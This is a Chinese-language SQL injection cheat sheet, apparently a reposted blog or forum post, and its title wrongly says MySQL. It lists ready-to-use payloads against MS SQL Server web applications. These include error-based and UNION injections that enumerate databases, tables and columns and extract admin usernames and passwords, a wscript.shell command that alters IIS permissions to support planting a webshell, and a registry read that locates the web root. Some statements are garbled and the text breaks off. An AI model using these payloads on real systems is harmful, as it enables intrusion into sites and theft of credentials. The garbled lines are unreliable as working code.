常用SQL注射语句解析(2)_MySQL
w "默认Web站点"
-v "e","e:/"'--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a
w3svc/1/ROOT/e +browse'
爆库 特殊技巧::%5c='/' 或者把/和/ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名?
--------------------------------------------------------------------------------
用户表:
select name from sysobjects where xtype = 'U';
系统表:
select name from sysobjects where xtype = 'S';
所有表:
select name from sysobjects where xtype = 'S' or xtype = 'U';
--------------------------------------------------------------------------------
and 0(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
假设为 admin
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and
name not in
('id',...)) 来暴出其他的字段
and 01) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in('Address'))
and 0(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin' and uid>(str(id))) 判断id值
and 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare
@test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/',
@value_name='/', values=@test OUTPUT insert into p
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